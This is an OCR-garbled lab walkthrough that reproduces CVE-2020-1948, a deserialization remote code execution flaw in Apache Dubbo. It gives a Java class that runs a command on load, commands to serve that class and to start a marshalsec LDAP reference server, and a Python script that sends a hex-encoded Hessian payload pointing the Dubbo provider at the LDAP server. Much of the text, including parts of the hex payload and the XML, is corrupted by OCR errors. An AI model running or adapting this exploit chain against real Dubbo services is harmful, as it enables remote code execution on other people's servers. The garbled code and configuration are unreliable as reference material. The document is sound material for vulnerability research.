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Apache Dubbo 2.7.0 to 2.7.6
Apache Dubbo 2.6.0 to 2.6.7
Apache Dubbo all 2.5.x versions (B3 BRBIRHtS#)
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1. Windows10

2. Dubbo2.7.6

3. JDK 1.8.181
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https://github.com/apache/dubbo-spring-boot-
project/tree/35568ff32d3a0fcbbd6b3el4a9f7c@a71b6bo8ee
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<dependency>



<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
<scope>compile</scope>

</dependency>
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..\dubbo-spring-boot-samples\auto-configure-samples\provider-

sample\pom.xml
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i, dubbo spring-boot-actuator

I, dubbe spring boot-compatible
1 dubbe-spring-boot-distribution
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1, dubbe-spring-boot-autoconfigure
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. dubbo-spring-boot-samples
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> e [dubbo-spring-boot. le]

\. pring P

111 pomaml

<artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
<groupId>org.apache.dubbos/groupTd>
<artifactId>dubbo-spring-boot-starter</artifactIds
<version>${revision}</version>

</dependency>

<dependency>
<groupld=org.apache.dubbo.samples</grouplds
<artifactId>dubbo-spring-boot-sanple-api</artifactId>
<version=§{revision}</version>

< /dependency>
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I sample-api [dubbo-spring-boot-sample-api]
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<dependency>
<grouplo>com. rometools</groupld>
<artifactld>rome</artifactid>
<version=1.7.8</version>
<scope-conpile</scope> - o - ~ I
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marshalsec &bt :
https://github.com/mbechler/marshalsec
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mvn clean package -DskipTests

« RS (E) » (" @m0 » fuxian » CVE-2020-1948 » marshalsec-master » target v | D B #EE target”
= . EaE == H
? archive-tmp 2020/7/22 12:49 it
classes 2020/7/22 12:46 i
* generated-sources 20207722 12:46 =
* generated-test-sources 2020/7/22 12:46 prg o=
* maven-archiver 202047122 12:47 i
maven-status 20204722 12:46 I -
148 test-classes 2020/7/22 12, 4=
wm (L] marshalsec-0.0.3-SNAPSHOT Executable Jar File 99 KB
| 2| marshalsec-0.0.3-5SNAPSHOT-all 2020/7/22 12:49 Executable Jar File 41.49?_\-'_:{__"._
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Exploit.java

public class Exploit {

static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {

e.printStackTrace();



}
fHiF¥Exploit.javaX 4
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Windows PowerShell
Rt ErE (C) Microsoft Corporation. {REFENFH.

$THIFEF & PowerShell https://aka.ms/pscore6
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WA E: \wemegeiomoem\ fuxian\CVE-2020-1948\ http
javac .\Exploit.java
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£ B python 3 F it exp H B http Bk 5

python2 -m SimpleHTTPServer %ki\8000UH1

: - s \Fuxian\CVE-2 -18u8\http=python2 -m SimpleHTTPServer
erving HTTP on 8.8
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fE =] marshalsec = B LDAP IR =

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
8087



E ; vy smmssr fuxian \CVE=2828-19U8"\marshalsec-mastery[15:26]
java marsha : ! OT-all.jar marshalsec.jndi.LDAPRe+S
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import socket
import time

import re

def sendEvilObjData(sock):

payload="dabbc2000000000000000000000003b705322e302e3230366172672
€6170616368652e64756262612e737072696€672e626T6F742e64656d612e636
f6e73756d65722e44656d615365727669636505312e302e300a636F6d6d6T6€5
4657374124c6a6176612f6c616e672f4f62626563743b4843302763616d2e726
f6d65746FT61T6Cc732e7261T6d652€666565642e696d706c2e457175616c7342656
16e920366262096265616e436c6173736043302963616d2e726T6d65746F6F6
€732e726f6d652e666565642e696d706c2e5461537472696e674265616€92036
£6262096265616e436c61737361431d636FT6d2e73756e2e726F777365742e4a6
46263526177536574496d706cac06706172616d73096c697374656e657273036
d6170026368617253747265616d0b617363696953747265616d0d756€696366
46553747265616d0c62696€61727953747265616d0f7374724d61746368436F6
c756d6e730d694d61746368436f6Cc756d6e73057265734d4406726¥77734d440
272730270730463616e6e09666574636853697a6508666574636844697209697
36T6c6174696f61065736361706550726163657373696e670872656164416e6
Cc790b63616€63757272656e63790c6d61784669656c6453697a65076d6178526
£77730c717565727954696d656175740b7368617744656Cc657465640a726F775
36574547970650a646174615361757263650355524¢c076361f6d6d616e64624d1
3626176612e7574696c2e486173687461626c655a4ededededede56106a61766
12e7574696c2e5665637461729a03666F6f4edededededededede56919a8F818
f8f8f8f8f8f8f8f4edededede90cbe8925454cbf090909046cbecldb6c6461703
a2f2f3132372e302e302e313a383038372f4578706c6169744e4e43016a61766



12e6c616e672e436c61737391046e616d65631d636T6d2e73756e2e726177736
5742e4a646263526177536574496d706c633029636f6d2e726T6d65746F6F6C7
32e726f6d652e666565642e696d706c2e5461537472696e674265616e5191519
151915a48047061746830366172672e6170616368652e64756262612e7370726
96e672e626T61742e64656d672e636T6e73756d65722e44656d6153657276696
3651272656d6174652e6170706c696361746961T6e302464756262612d6175746
£2d6361T6e6669677572652d6361T6e73756d65722d73616d706c6509696e74657
266616365303661T72672e6170616368652e64756262612e737072696€672e626
f61742e64656d672e63616e73756d65722e44656d61536572766963650776657
273696f6e05312e302e305a"

sock.send(payload.decode('hex"))
def run(dip,dport):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_addr = (dip, dport)
sock.connect(server_addr)

sendEvilObjData(sock)

run("127.0.0.1",12345)
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http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-
protocol.html
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